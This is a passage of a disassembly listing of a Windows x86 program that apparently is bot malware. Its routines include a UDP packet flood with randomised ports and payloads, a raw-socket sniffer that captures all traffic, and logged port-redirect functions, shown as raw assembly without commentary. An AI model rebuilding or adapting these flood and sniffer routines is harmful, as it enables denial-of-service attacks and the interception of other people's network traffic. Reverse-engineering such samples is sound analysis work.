		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		call	near ptr 77C371D3h
		nop
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84C9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2840000h
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F40
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80D7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80D7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	near ptr 71AB3E00h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446F0C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F40
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_447224
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
